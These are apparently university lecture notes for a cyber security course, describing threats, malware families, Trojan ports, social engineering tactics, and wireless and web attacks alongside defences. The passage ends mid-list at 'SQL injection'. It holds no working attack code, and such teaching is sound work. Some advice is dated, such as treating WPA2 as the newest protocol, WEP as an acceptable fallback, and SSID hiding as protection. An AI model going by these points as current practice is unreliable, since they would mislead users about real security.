UNIT II

Shashi KS

ATTACKS AND COUNTERMEASURES

OWASP; Malicious Attack Threats and Vulnerabilities: Scope of Cyber-Attacks – Security Breach – Types of Malicious Attacks – Malicious Software – Common Attack Vectors – Social engineering Attack – Wireless Network Attack – Web Application Attack – Attack Tools – Countermeasures.

COURSE CODE: 21AIM643
COURSE NAME: CYBER SECURITY
FACULTY NAME: K.S.SHASHIKALA

OWASP

Shashi KS

- The **Open Web Application Security Project**, or OWASP, is an international non-profit organization dedicated to **web application security**.

- One of OWASP's core principles is that all of **their materials be freely available and easily accessible on their website, making it possible for anyone to improve their own web application security.**

- The materials they offer include **documentation, tools, videos, and forums**.

Their best-known project is the **OWASP Top 10.**

What is the OWASP Top 10?

- ✓ The OWASP Top 10 is a **regularly-updated report outlining security concerns for web application security, focusing on the 10 most critical risks.**
- ✓ The report is put together by a **team of security experts from all over the world**.
- ✓ OWASP refers to the Top 10 as an **'awareness document' and they recommend that all companies incorporate the report into their processes in order to minimize and/or mitigate security risks.**

Attack, Threats and vulnerabilities

The three common terms used in network security are as follows:

- **A threat** is any **potential occurrence**, malicious or otherwise, that could harm an asset. In other words, a threat is **any bad thing that can happen to your assets**.

- **A vulnerability** is a **weakness that makes a threat possible**. This may be because of **poor design, configuration mistakes, or inappropriate and insecure coding techniques.**
- The vulnerabilities could be **weaknesses in the technology, configuration, or security policy.** Any discovered vulnerability must be addressed to mitigate any threat that could take advantage of the vulnerability.

- **An attack** is an **action that exploits a vulnerability or enacts a threat**. Examples of attacks **include sending malicious input to an application or flooding a network in an attempt to deny service.**

Difference between threat and attack

- **The main difference** between threat and attack is a threat can be either **intentional or unintentional** where as an attack is intentional.

- **Threat** is a **circumstance that has potential to cause loss or damage** whereas **attack** is **attempted to cause damage.**

- Threat to the information system **doesn't mean information was altered or damaged** but attack on the information system means there might be chance to alter, damage, or obtain information when attack was successful.

Vulnerability

- **Vulnerability-**A weakness that is inherent in every network and device. This includes:
- **routers, switches, desktops, servers, and even security devices themselves.**

❑Networks are typically plagued by one or all of three primary vulnerabilities or weaknesses:

- **Configuration weaknesses**
- **Technology weaknesses**
- **Security policy weaknesses**

Vulnerability -Configuration Weaknesses

- Network administrators or network engineers need to learn what the configuration weaknesses are and correctly configure their **computing and network devices to compensate**.

Insecure user accounts

System accounts with easily guessed passwords

Misconfigured **Internet services**

Insecure default settings within products

Misconfigured **network equipment**

For example:

A common problem is **to turn on JavaScript in web browsers,** enabling attacks by way of hostile JavaScript whenaccessing untrusted sites

For example:

Misconfigured **access lists, routing protocols Misconfigured or lack of encryption and** remote-access controls

Vulnerability

- **Technology weaknesses**
- Computer and network technologies have intrinsic security weaknesses.(like **Network equipment weakness, OS weakness, TCP/IP protocol weakness)**

➢ These include **TCP/IP** protocol weaknesses,

HTTP, FTP, and ICMP are inherently insecure

➢ operating system weaknesses,

The UNIX, Linux, Macintosh, Windows NT, 9x, 2K, XP

➢ Network equipment weaknesses.

such as routers, firewalls, and switches, have security weaknesses

Password protection
Lack of authentication
Routing protocols
Firewall holes

Threats

There are **four primary classes of threats** to network security:

- **Unstructured threats** consist of mostly **inexperienced individuals using easily available hacking tools such as shell scripts and password crackers.**
- Even unstructured threats that are only executed with the intent of testing and challenging a hacker's skills can still do serious damage to a company.
- Unstructured threats—Threats that are random and usually the result of an attacker identifying the **vulnerability by scanning the network looking for "targets of opportunity."**
- This type of threat is by far the most common threat because it can be performed using **automated tools (scripts) that are readily available on the Internet and can be performed by someone with very limited computer skills.**

Threats

- **Structured threats :** threats that are **preplanned and focus on a specific target.**
- A structured threat is **an organized effort to breach a specific network or organization**

- These threats come from **hackers who are more highly motivated and technically competent.**
- These people know system vulnerabilities and can understand and develop exploit code and scripts.

Threats

- **External threats** can arise from individuals or organizations working outside of a company.
- They do not have authorized access to the computer systems or network.
- They work their way into a network mainly from the Internet or dialup access servers

Threats

- **Internal threats** occur when someone has authorized access to the network with either an account on a server or physical access to the network.
- According to the FBI, **internal accessors misuse account for 60 percent to 80 percent of reported incidents.**

Attack

- The threats use a variety of tools, scripts, and programs to launch attacks against networks and network devices.
- Typically, the network devices under attack are the endpoints, such as servers and desktops
- The home page of numerous organizations has been attacked and replaced by a new home page of the choosing crackers.
- Sites that have been cracked include **Yahoo,** the **U.S. Army, the CIA, NASA**, and the **New York Times**.
- In most cases, the crackers just put up some funny text and the sites were repaired within a few hours.

Attacks

- Numerous sites have been brought down by denial- of-service attacks, in which the cracker floods the site with traffic, rendering it unable to respond to legitimate queries.

- Often the attack is mounted from a large number of machines that the cracker has already broken into (**DoS atacks**).
- These attacks are so common.
- They can cost the attacked site thousands of dollars in lost business

Attacks

Four primary classes of attacks exist:

- Reconnaissance
- Access
- Denial of service
- Worms, viruses, and Trojan horses

SECURITY BREACH

Physical security is arguably the most critical area of IT security for preventing the loss or theft of confidential and sensitive data

Some of the **common security breaches** caused by insufficient physical security are as follows:

- Installation of malware such as keyloggers, viruses, Trojans, backdoors, or rootkits
- Identification and capture of validation or authentication credentials such as passwords or certificates
- Physical connection to the wired network to sniff confidential data such as passwords and credit card numbers Access to systems to collect data that can be used to crack passwords stored locally on the system
- Hacker gaining physical access to the server, a single client system, or a network port
- Opportunity to plant rogue access points to create an open wireless network with access to the wired network
- Theft of paper or electronic documents
- Theft of sensitive fax information
- Dumpster diving attack (emphasizing the need to shred important documents)

Security measures

Security measures can be categorized in the following three ways:

1.Physical

Physical measures to prevent access to systems include security guards, lighting, fences, locks, and alarms. Facility access points should be limited, and they should be monitored/protected by closed-circuit television (CCTV) cameras and alarms. The entrance to the facility should be restricted to authorized people. Access to laptop systems and removable media such as removable drives, backup tapes, and disks should be restricted and protected. Computer screens should be positioned such that they can't be seen by passers-by, and a policy should be implemented and enforced that requires users to lock their systems when they leave the computer for any reason. Computer systems with highly sensitive data should be protected in an enclosed and locked area such as a credential-access room with a rack-mount case and lock.

2.Technical

Technical security measures such as firewalls, IDS, spyware content filtering, and virus and Trojan scanning should be implemented on all remote client systems, networks, and servers.

3.Operational

Operational security measures to analyze threats and perform risk assessments should be a documented process in the organization's security policy.

Malicious software

Malware is also called as malicious software. It is **commonly used by hackers to attack compromised systems.**

It is designed to cause harm or damage to a computer, server, client or computer network and/or infrastructure without end-user knowledge.

Cyber attackers create, use and sell malware for many different reasons, but it is most frequently used to **steal personal, financial or business information.**

Some potentially harmful malware are **trojans, backdoors, viruses and worms**

Types of Malicious Attacks

Backdoor

Shashi KS

Most malware types can be classified into one of the following categories: **trojans, backdoors, viruses and worms**

A **backdoor** is a program or a set of related programs **that a hacker installs on a target system to allow access to the system at a later time.**

A backdoor's goal is to **remove the evidence of initial entry from the system's log files.**

But a backdoor may also **let a hacker retain access to a machine it** has penetrated even if the intrusion has already been **detected and remedied by the system administrator.**

Adding a new service is the most common technique to **disguise backdoors in the Windows operating system**. The hacker could add a new service and give it an unnoticeable name or better yet choose a service that's never used and that is either **activated manually or completely disabled.**

Backdoor - Example

Shashi KS

Remote Administration Trojans (RATs) are a class of **backdoors** used to enable remote control over a compromised machine. They provide apparently **useful functions to the user and, at the same time, open a network port on the victim computer.**

Once the RAT is started, it behaves as **an executable file, interacting with certain registry keys responsible for starting processes and sometimes creating its own system services.**

Unlike common backdoors, RATs **hook themselves into the victim operating system** and always come packaged with two files: **the client file and the server file.**

The server is installed in the infected machine, and the **client is used by the intruder to control the compromised system**

Trojan

Shashi KS

A Trojan is a malicious program **disguised as something benign**. Trojans are often **downloaded along with another program or software package.**

Once installed on a system, they can cause **data theft and loss, and system crashes or slowdowns; they can also be used as launching points for other attacks such as Distributed Denial of Service (DDOS).**

Many Trojans are used to **manipulate files on the victim computer, manage processes, remotely run commands, intercept keystrokes, watch screen images, and restart or shut down infected hosts**. Sophisticated Trojans can connect themselves to their originator or announce the Trojan infection on an Internet Relay Chat (IRC) channel.

Trojans ride on the **backs of other programs and are usually installed** on a system without the user's knowledge.

A Trojan can be sent to a victim system in many ways: as an **Instant Messenger (IM) attachment, IRC, an e-mail attachment, or NetBIOS file sharing.** Many fake programs purporting to be legitimate software such as **freeware, spyware-removal tools, system optimizers, screen savers, music, pictures, games, and videos can install a Trojan on a system just by being downloaded**

COMMON TROJAN PROGRAMS

Shashi KS

Trojan	Protocol	Port
BackOrifice	UDP	31337 or 31338
Deep Throat	UDP	2140 and 3150
NetBus	TCP	12345 and 12346
Whack-a-mole	TCP	12361 and 12362
NetBus 2	TCP	20034
GirlFriend	TCP	21544
Masters Paradise	TCP	3129, 40421, 40422, 40423, and 40426

Viruses and Worms

Shashi KS

Viruses and worms can be used to **infect a system and modify a system to allow a hacker to gain access**.

Many viruses and worms **carry Trojans and backdoors. In this way a virus or worm is a carrier** and allows malicious code such as Trojans and backdoors to be transferred from system to system much in the way that contact between people allows germs to spread.

A virus **infects another executable and uses this carrier program to spread itself**. The virus code is injected into the previously benign program and is spread when the program is run. Examples of virus carrier programs are **macros, e-mail attachments, Visual Basic scripts, games, and animations**

A worm is a type of virus, but it is **self-replicating.** A worm spreads from system to system **automatically, but a virus needs another program in order to spread.** Viruses and worms both execute without the knowledge or desire of the end user.

Types of Viruses

Shashi KS

Viruses are classified according to two factors: **what they infect and how they infect**

A virus can infect the following components of a system:

- System sectors
- Files
- Macros (such as Microsoft Word macros)
- Companion files (supporting system files like DLL and INI files)
- Disk clusters
- Batch files (BAT files)
- Source code

How a Virus Spreads and Infects the System

Shashi KS

A virus infects through interaction with an outside system. Viruses are categorized according to their infection technique, as follows:

Polymorphic viruses These viruses encrypt the code in a different way with each infection and can change to different forms to try to evade detection.

Stealth viruses These hide the normal virus characteristics, such as modifying the original time and date stamp of the file so as to prevent the virus from being noticed as a new file on the system.

Fast and slow infectors These can evade detection by infecting very quickly or very slowly.

Sparse infectors These viruses infect only a few systems or applications.

Armored viruses These are encrypted to prevent detection.

Multipartite viruses These advanced viruses create multiple infections.

Cavity (space-filler) viruses These viruses attach to empty areas of files.

Tunneling viruses These are sent via a different protocol or encrypted to prevent detection or allow it to pass through a firewall.

Camouflage viruses These viruses appear to be another program.

NTFS and Active Directory viruses These specifically attack the NT file system or Active Directory on Windows systems.

Virus Detection Methods

Shashi KS

The following techniques are used to detect viruses:

- **Scanning**
- **Integrity checking with checksums**
- **Interception based on a virus signature**

The process of virus detection and removal is as follows:

1. Detect the attack as a virus. Not all anomalous behavior can be attributed to a virus.
2. Trace processes using utilities such as **handle.exe, listdlls.exe, fport.exe, netstat.exe**, and pslist.exe, and map commonalities between affected systems.
3. Detect the virus payload by looking for altered, replaced, or deleted files. **New files, changed file attributes, or shared library files should be checked.**
4. Acquire the infection vector and isolate it. **Then, update your antivirus definitions and rescan all systems.**

EICAR TEST FILE

Shashi KS

The EICAR Anti-Virus Test File or EICAR test file is a computer file that was developed by the **European Institute for Computer Antivirus Research (EICAR)** and Computer Antivirus Research Organization (CARO), to test the **response of computer antivirus programs.**

A test virus can be created by typing the following code in Notepad and saving the file as EICAR.COM. Your antivirus program should respond when you attempt to open, run, or copy it.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Instead of using real malware, which could cause real damage, this **test file allows people to test anti-virus software without having to use a real computer virus.**

•**Hybrid malware:**

•Modern malware is often a "**hybrid" or combination of malicious software** types. For example, "bots" first appear as Trojans then, once executed, act as worms. They are frequently used to target individual users as part of a larger network-wide cyber attack.

•**Logic Bombs**

• A logic bomb is a malicious program that uses a trigger to activate the malicious code. The logic bomb remains non-functioning until that trigger event happens. Once triggered, a logic bomb implements a malicious code that causes harm to a computer.

•Cybersecurity specialists recently discovered logic bombs that attack and destroy the hardware components in a workstation or server including the cooling fans, hard drives, and power supplies. The logic bomb overdrives these devices until they overheat or fail.

•**Adware:** Adware **serves unwanted and aggressive advertising** (e.g., pop-up ads) to the end-user.

•**Malvertising:** Malvertising uses legitimate ads to deliver malware to end-user machines.

•**Spyware:** Spyware spies on the unsuspecting end-user, collecting credentials and passwords, browsing history and more.

•**Ransomware:**

Ransomware infects machines, encrypts files and holds the needed decryption key for ransom until the victim pays. Ransomware attacks targeting enterprises and government entities are on the rise, costing organizations millions as some pay off the attackers to restore vital systems. Cyptolocker, Petya and Loky are some of the most common and notorious families of ransomware.

- **Rootkits**

A rootkit **modifies the OS to make a backdoor. Attackers then use the backdoor to access the computer distantly**. Most rootkits take advantage of software vulnerabilities to modify system files.

- **Keyloggers**

Keylogger **records everything the user types on his/her computer system to obtain passwords a**nd other sensitive information and send them to the source of the keylogging program.

Common Attack Vectors

Shashi KS

In cybersecurity, an **attack vector is a method of achieving unauthorized network access to launch a cyber attack.**

Attack vectors allow **cybercriminals to exploit system vulnerabilities to gain access to sensitive data, personally identifiable information (PII), and other valuable information accessible after a data breach**.

An attack vector is a **method of gaining unauthorized access to a network or computer system.**

An attack surface is the total number of attack vectors an attacker can use to manipulate a network or computer system or extract data.

Threat vector can be used interchangeably with attack vector and generally describes the potential ways a hacker can gain access to data or other confidential information.

Examples

1. Compromised Credentials

Shashi KS

Usernames and passwords are still the most common type of access credential and continue to be exposed in data leaks, phishing scams, and malware. When lost, stolen, or exposed, credentials give attackers unfettered access. This is why organizations are now investing in tools to continuously monitor for data exposures and leaked credentials. Password managers, two-factor authentication (2FA), multi-factor authentication (MFA), and biometrics can reduce the risk of leak credentials resulting in a security incident too.

2. **Weak Credentials**

Weak passwords and reused passwords mean one data breach can result in many more. Teach your organization how to create a secure password, invest in a password manager or a single sign-on tool, and educate staff on their benefits.

3. Insider Threats

Disgruntled employees or malicious insiders can expose private information or provide information about company-specific vulnerabilities.

4. **Missing or Poor Encryption**

Common data encryption methods like SSL certificates and DNSSEC can prevent man-in-the-middle attacks and protect the confidentiality of data being transmitted. Missing or poor encryption for data at rest can mean that sensitive data or credentials are exposed in the event of a data breach or data leak

.

5. Misconfiguration Shashi KS

Misconfiguration of cloud services, like Google Cloud Platform, Microsoft Azure, or AWS, or using default credentials can lead to data breaches and data leaks, check your S3 permissions or someone else will. Automate configuration management where possible to prevent configuration drift.

6. Ransomware

Ransomware is a form of extortion where data is deleted or encrypted unless a ransom is paid, such as WannaCry. Minimize the impact of ransomware attacks by maintaining a defense plan, including keeping your systems patched and backing up important data.

7. Phishing

Phishing attacks are social engineering attacks where the target is contacted by email, telephone, or text message by someone who is posing to be a legitimate colleague or institution to trick them into providing sensitive data, credentials, or personally identifiable information (PII). Fake messages can send users to malicious websites with viruses or malware payloads.

8**. Vulnerabilities**

New security vulnerabilities are added to the CVE every day and zero-day vulnerabilities are found just as often. If a developer has not released a patch for a zero-day vulnerability before an attack can exploit it, it can be hard to prevent zero-day attacks.

9. Brute Force

Brute force attacks are based on trial and error. Attackers may continuously try to gain access to your organization until one attack works. This could be by attacking weak passwords or encryption, phishing emails, or sending infected email attachments containing a type of malware.

10. Distributed Denial of Service (DDoS)

DDoS attacks are cyber attacks against networked resources like data centers, servers, websites, or web applications and can limit the availability of a computer system. The attacker floods the network resource with messages which cause it to slow down or even crash, making it inaccessible to users. Potential mitigations include CDNs and proxies.

11. SQL Injections

SQL stands for a structured query language, a programming language used to communicate with databases. Many of the servers that store sensitive data use SQL to manage the data in their database. An SQL injection uses malicious SQL to get the server to expose information it otherwise wouldn't. This is a huge cyber risk if the database stores customer information, credit card numbers, credentials, or other personally identifiable information (PII).

12. Trojans

Trojan horses are malware that misleads users by pretending to be a legitimate program and are often spread via infected email attachments or fake malicious software.

13. Cross-Site Scripting (XSS)

XSS attacks involve injecting malicious code into a website but the website itself is not being attacked, rather it aims to impact the website's visitors. A common way attackers can deploy cross-site scripting attacks is by injecting malicious code into a comment e.g. embedding a link to malicious JavaScript in a blog post's comment section.

14. Session Hijacking

When you log into a service, it generally provides your computer with a session key or cookie so you don't need to log in again. This cookie can be hijacked by an attacker who uses it to gain access to sensitive information.

15. Man-in-the-Middle Attacks

Public Wi-Fi networks can be exploited to perform man-in-the-middle attacks and intercept traffic that was supposed to go elsewhere, such as when you log into a secure system.

16. Third and Fourth-Party Vendors

The rise in outsourcing means that your vendors pose a huge cybersecurity risk to your customer's data and your proprietary data. Some of the biggest data breaches were caused by third parties.

How Do Hackers Exploit Attack Vectors?

Shashi KS

Hackers use multiple threat vectors to exploit vulnerable systems, attack devices and networks, and steal data from individuals. There are two main types of hacker vector attacks: **passive attacks and active attacks.**

Passive Attack

A passive attack occurs when an attacker monitors a system for open ports or vulnerabilities to gain or gather information about their target. Passive attacks can be difficult to detect because they do not involve altering data or system resources. Rather than cause damage to an organization's systems, the attacker threatens the confidentiality of their data.

Passive attack vectors include passive reconnaissance, which sees the attacker monitor an organization's systems for vulnerabilities without interacting with them through tools like session capture, and active reconnaissance, where the attacker uses methods like port scans to engage with target systems.

Active Attack

An active attack vector is one that sets out to disrupt or cause damage to an organization's system resources or affect their regular operations. This includes attackers launching attacks against system vulnerabilities, such as denial-of-service (DoS) attacks, targeting users' weak passwords, or through malware and phishing attacks.

A common example of an active attack is a masquerade attack, in which an intruder pretends to be a trusted user and steals login credentials to gain access privileges to system resources. Active attack methods are often used by cyber criminals to gain the information they need to launch a wider cyberattack against an organization.

SOCIAL ENGINEERING ATTACK

Shashi KS

Source:
Kimberly Graves, “CEH Official Certified Ethical hacker Review Guide”, Wiley Publishers, 2007,Chapter 2,Page no.57

Social engineering is a nontechnical method of breaking into a system or network. It’s the process of deceiving users of a system and convincing them to give out information that can be used to defeat or bypass security mechanisms.

Social engineering is the use of influence and persuasion to deceive people for the purpose of obtaining information or persuading a victim to perform some action. A social engineer commonly uses the telephone or Internet to trick people into revealing sensitive information or to get them to do something that is against the security policies of the organization. By this method, social engineers exploit the natural tendency of a person to trust their word, rather than exploiting computer security holes.

Example of social engineering:

Shashi KS

Recounted by Kapil Raina, currently a security expert at Verisign, based on an actual workplace experience with a previous employer.

“One morning a few years back, a group of strangers walked into a large shipping firm and walked out with access to the firm’s entire corporate network. How did they do it? By obtaining small amounts of access, bit by bit, from a number of different employees in that firm. First, they did research about the company for two days before even attempting to set foot on the premises. For example, they learned key employees’ names by calling HR. Next, they pretended to lose their key to the front door, and a man let them in. Then they “lost” their identity badges when entering the third floor secured area, smiled, and a friendly employee opened the door for them. The strangers knew the CFO was out of town, so they were able to enter his office and obtain financial data off his unlocked computer. They dug through the corporate trash, finding all kinds of useful documents. They asked a janitor for a garbage pail in which to place their contents and carried all of this data out of the building in their hands.

The strangers had studied the CFO’s voice, so they were able to phone, pretending to be the CFO, in a rush, desperately in need of his network password. From there, they used regular technical hacking tools to gain super-user access into the system. In this case, the strangers were network consultants performing a security audit for the CFO without any other employees’ knowledge. They were never given any privileged information from the CFO but were able to obtain all the access they wanted through social engineering**.” The most dangerous part of social engineering is that companies with authentication processes, firewalls, virtual private networks, and network-monitoring software are still wide open to attacks, because social engineering doesn’t assault the security measures directly.**

TYPES OF SOCIAL ENGINEERING ATTACKS

Shashi KS

Social engineering can be broken into two common types:

1.Human-based

Human-based social engineering refers to person-to-person interaction to retrieve the desired information. An example is calling the help desk and trying to find out a password.

2.Computer-based

Computer-based social engineering refers to having computer software that attempts to retrieve the desired information. An example is sending a user an e-mail and asking them to reenter a password in a web page to confirm it. This social-engineering attack is also known as phishing.

Human-Based Social Engineering

Shashi KS

Human-based social engineering techniques can be broadly categorized as follows:

Impersonating an employee or valid user

In this type of social-engineering attack, the hacker pretends to be an employee or valid user on the system. A hacker can gain physical access by pretending to be a janitor, employee, or contractor. Once inside the facility, the hacker gathers information from trashcans, desktops, or computer systems.

Posing as an important user

In this type of attack, the hacker pretends to be an important user such as an executive or high-level manager who needs immediate assistance to gain access to a computer system or files. The hacker uses intimidation so that a lower-level employee such as a help-desk worker will assist them in gaining access to the system. Most low-level employees won't question someone who appears to be in a position of authority.

Using a third person

Using the third-person approach, a hacker pretends to have permission from an authorized source to use a system. This attack is especially effective if the supposed authorized source is on vacation or can't be contacted for verification.

Calling technical support

Calling tech support for assistance is a classic social-engineering technique. Help-desk and technical support personnel are trained to help users, which makes them good prey for social-engineering attacks.

Shashi KS

Shoulder surfing

Shoulder surfing is a technique of gathering passwords by watching over a person's shoulder while they log in to the system. A hacker can watch a valid user log in and then use that password to gain access to the system.

Dumpster diving

Dumpster diving involves looking in the trash for information written on pieces of paper or computer printouts. The hacker can often find passwords, filenames, or other pieces of confidential information.

A more advanced method of gaining illicit information is known as reverse social engineering. Using this technique, a hacker creates a persona that appears to be in a position of authority so that employees ask the hacker for information, rather than the other way around. For example, a hacker can impersonate a help-desk employee and get the user to give them information such as a password

Computer-Based Social Engineering

Shashi KS

Computer-based social engineering attacks can include the following:

E-mail attachments
Fake websites
Popup windows

Identity Theft

A hacker can pose as an employee or steal the employee's identity to perpetrate an attack. Information gathered in dumpster diving or shoulder surfing in combination with creating fake ID badges can gain the hacker entry into an organization. Creating a persona that can enter the building unchallenged is the goal of identity theft

Shashi KS

Phishing Attacks

Phishing involves sending an e-mail, usually posing as a bank, credit-card company, or other financial organization. The e-mail requests that the recipient confirm banking information or reset passwords or PIN numbers. The user clicks the link in the e-mail and is redirected to a fake website. The hacker is then able to capture this information and use it for financial gain or to perpetrate other attacks. E-mails that claim the senders have a great amount of money but need your help getting it out of the country are examples of phishing attacks

Shashi KS

Online Scams

Some websites that make free offers or other special deals can lure a victim to enter a username and password that may be the same as those they use to access their work system. The hacker can use this valid username and password once the user enters the information in the website form. Mail attachments can be used to send malicious code to a victim's system, which could automatically execute something like a software keylogger to capture passwords. Viruses, Trojans and worms can be included in cleverly crafted e-mails to entice a victim to open the attachment. Mail attachments are considered a computer-based social engineering attack.

E-MAIL SCAM EXAMPLE

Shashi KS

Mail server report.

Our firewall determined the e-mails containing worm copies are being sent from your computer.

Nowadays it happens from many computers, because this is a new virus type (Network Worms).

Using the new bug in the Windows, these viruses infect the computer unnoticeably.

After the penetrating into the computer the virus harvests all the e-mail addresses and sends the copies of itself to these e-mail addresses

Please install updates for worm elimination and your computer restoring.

Best regards,

Customer support service

URL Obfuscation

Shashi KS

URL is the Uniform Resource Locator and is commonly used in the address bar of a web browser to access a particular website. In lay terms it is the website address. URL obfuscation is the hiding or a fake URL in what appear to be a legitimate website address. For example, a website of 204.13.144.2/Citibank may appear to be a legitimate web address for Citibank but in fact is not.

URL obfuscation is used in phishing attacks and some online scams to make the scam seem more legitimate. A website address may be seen as an actual financial institution name or logo, but the hyperlink leads to a fake website or IP address. When the user clicks the hyperlink, they're redirected to the hacker's site.

Addresses can be obfuscated in malicious links by the use of hexadecimal or decimal notations. For example, the address 192.168.10.5 looks like 3232238085 as a decimal

Common types of social engineering attacks

Shashi KS

- **Baiting.** An attacker leaves a malware-infected physical device, such as a Universal Serial Bus flash drive, in a place it is sure to be found. The target then picks up the device and inserts it into their computer, unintentionally installing the malware.
- **Phishing.** When a malicious party sends a fraudulent email disguised as a legitimate email, often purporting to be from a trusted source. The message is meant to trick the recipient into sharing financial or personal information or clicking on a link that installs malware.
- **Spear phishing.** This is like phishing, but the attack is tailored for a specific individual or organization.
- **Vishing.** Also known as voice phishing, vishing involves the use of social engineering over the phone to gather financial or personal information from the target.
- **Whaling.** A specific type of phishing attack, a whaling attack targets high-profile employees, such as the chief financial officer or chief executive officer, to trick the targeted employee into disclosing sensitive information.
- **Pretexting.** One party lies to another to gain access to privileged data. For example, a pretexting scam could involve an attacker who pretends to need financial or personal data to confirm the identity of the recipient.

Scareware. This involves tricking the victim into thinking their computer is infected with malware or has inadvertently downloaded illegal content. The attacker then offers the victim a solution that will fix the bogus problem; in reality, the victim is simply tricked into downloading and installing the attacker's malware.

- **Watering hole.** The attacker attempts to compromise a specific group of people by infecting websites they are known to visit and trust with the goal of gaining network access.
- **Diversion theft.** In this type of attack, social engineers trick a delivery or courier company into going to the wrong pickup or drop-off location, thus intercepting the transaction.
- **Quid pro quo.** This is an attack in which the social engineer pretends to provide something in exchange for the target's information or assistance. For instance, a hacker calls a selection of random numbers within an organization and pretends to be a technical support specialist responding to a ticket. Eventually, the hacker will find someone with a legitimate tech issue whom they will then pretend to help. Through this interaction, the hacker can have the target type in the commands to launch malware or can collect password information.
- **Honey trap.** In this attack, the social engineer pretends to be an attractive person to interact with a person online, fake an online relationship and gather sensitive information through that relationship.
- **Tailgating.** Sometimes called piggybacking, tailgating is when a hacker walks into a secured building by following someone with an authorized access card. This attack presumes the person with legitimate access to the building is courteous enough to hold the door open for the person behind them, assuming they are allowed to be there.
- **Rogue security software.** This is a type of malware that tricks targets into paying for the fake removal of malware.
- **Dumpster diving.** This is a social engineering attack whereby a person searches a company's trash to find information, such as passwords or access codes written on sticky notes or scraps of paper, that could be used to infiltrate the organization's network.
- **Pharming.** With this type of online fraud, a cybercriminal installs malicious code on a computer or server that automatically directs the user to a fake website, where the user may be tricked into providing personal information.

Preventing social engineering

There are a number of strategies companies can take to prevent social engineering attacks, including the following:

- Make sure information technology departments are regularly carrying out penetration testing that uses social engineering techniques. This will help administrators learn which types of users pose the most risk for specific types of attacks, while also identifying which employees require additional training.
- Start a security awareness training program, which can go a long way toward preventing social engineering attacks. If users know what social engineering attacks look like, they will be less likely to become victims.
- Implement secure email and web gateways to scan emails for malicious links and filter them out, thus reducing the likelihood that a staff member will click on one.
- Keep antimalware and antivirus software up to date to help prevent malware in phishing emails from installing itself.
- Stay up to date with software and firmware patches on endpoints.
- Keep track of staff members who handle sensitive information, and enable advanced authentication measures for them.
- Implement 2FA to access key accounts, e.g., a confirmation code via text message or voice recognition.
- Ensure employees don't reuse the same passwords for personal and work accounts. If a hacker perpetrating a social engineering attack gets the password for an employee's social media account, the hacker could also gain access to the employee's work accounts.
- Implement spam filters to determine which emails are likely to be spam. A spam filter might have a blacklist of suspicious Internet Protocol addresses or sender IDs, or they might detect suspicious files or links, as well as analyze the content of emails to determine which may be fake.

Wireless Network Attacks

Wireless network attacks are deliberate and malicious actions aimed at exploiting vulnerabilities in wireless communication systems to gain unauthorized access, intercept sensitive data, disrupt network operations, or compromise the security of devices and users connected to the network. These attacks target weaknesses in the protocols, configurations, or encryption mechanisms of wireless networks, taking advantage of their inherent nature of broadcasting signals over the airwaves.

Types of Wireless Network Attacks

Wireless networks have undoubtedly revolutionized the way we communicate and conduct business, offering unparalleled convenience and mobility. However, with this freedom comes the lurking threat of malicious attackers seeking to exploit the vulnerabilities inherent in wireless technology. Here are some of the common types of wireless network attacks:

1. Wireless Eavesdropping (Passive Attacks)

Attackers use tools like packet sniffers to intercept and monitor wireless communications between devices. By capturing data packets transmitted over the air, they can potentially obtain sensitive information, such as login credentials, financial data, or personal information.

Shashi KS

2. Wireless Spoofing (Man-in-the-Middle Attacks)

In these attacks, the attacker positions themselves between the wireless client and the legitimate access point, intercepting and manipulating data transmissions. The attacker may then relay the information back and forth, making it appear as if they are the legitimate access point. This enables them to snoop on data or perform other malicious actions unnoticed.

3. Wireless Jamming (Denial-of-Service Attacks)

Attackers flood the wireless frequency spectrum with interference signals, disrupting legitimate communications between devices and access points. By creating excessive noise, they can render the wireless network unusable for legitimate users.

4. Rogue Access Points

Attackers set up unauthorized access points, mimicking legitimate ones, to deceive users into connecting to them. Once connected, the attacker can eavesdrop, capture data, or launch further attacks on the unsuspecting users.

5. Brute-Force Attacks

Attackers try various combinations of passwords or encryption keys in rapid succession until they find the correct one to gain unauthorized access to the wireless network.

6. WEP/WPA Cracking

Attackers exploit vulnerabilities in older wireless security protocols like Wired Equivalent Privacy (WEP) and Wi-Fi Protected Access (WPA) to gain unauthorized access to encrypted wireless networks.

7. Evil Twin Attacks

Attackers create fake access points with names similar to legitimate ones, tricking users into connecting to the malicious network. Once connected, the attacker can intercept sensitive data or execute further attacks.

8. Deauthentication/Disassociation Attacks

Attackers send forged deauthentication or disassociation frames to wireless devices, forcing them to disconnect from the network, leading to service disruptions or potential vulnerabilities when devices automatically reconnect.

Preventing Wireless Network Attacks: Safeguarding Your Digital Domain

Protecting your wireless network from potential threats is paramount, and we have compiled a comprehensive list of preventive measures to ensure your digital domain remains secure. Follow these essential tips to fortify your wireless network against attacks:

1. Update your computer often

Regularly update your operating system and applications to ensure you have the latest security patches and fixes. Timely updates help address discovered vulnerabilities, making it harder for attackers to exploit known weaknesses.

2. Use MAC filtering

Enable MAC filtering on your wireless router to control access to your network. By specifying which devices are allowed to connect based on their unique MAC addresses, you can prevent unauthorized access and enhance your network's security.

3. Disable SSID broadcasting

Turn off SSID broadcasting to make your wireless network invisible to casual observers. This prevents your network from being easily discoverable and adds an extra layer of obscurity for potential attackers.

4. Use WPA2 encryption

Utilize WPA2 encryption, the latest and most secure protocol, to safeguard your data as it travels between devices and access points. Encryption ensures that even if intercepted, your data remains unintelligible to unauthorized entities.

5. Change the default SSID

Customize your router's SSID to something unique and unrelated to personal information. Avoid using common names like "Linksys" or "default" to deter attackers from identifying and targeting your network.

6. Disable file sharing

Turn off file sharing on your network to prevent unauthorized users from accessing your sensitive files. If file sharing is necessary, ensure you set up secure passwords to limit access to approved users only.

7. Enable WEP encryption (only if using an older router)

If your router doesn't support WPA2, use WEP encryption as a fallback option. However, keep in mind that WEP is less secure than WPA2 and should only be considered if absolutely necessary.

Web Application Attacks

Web application attacks are malicious activities that target web applications by exploiting vulnerabilities in their design or implementation. These attacks can result in unauthorized access, data theft, or other harmful consequences.

Shashi KS

Common types of web application attacks include SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and file inclusion attacks. Attackers may use automated tools or manually craft their attacks to bypass security measures and gain access to sensitive information or systems.

Organizations can prevent or mitigate web application attacks by implementing strong security measures, such as input validation, user authentication, and regular vulnerability testing.

Web Application Threats

Many web application threats exist on a web server. The following are the most common threats:

Threats:KS

Cross-site scripting
A parameter entered into a web form is processed by the web application. The correct combination of variables can result in arbitrary command execution.

SQL injection
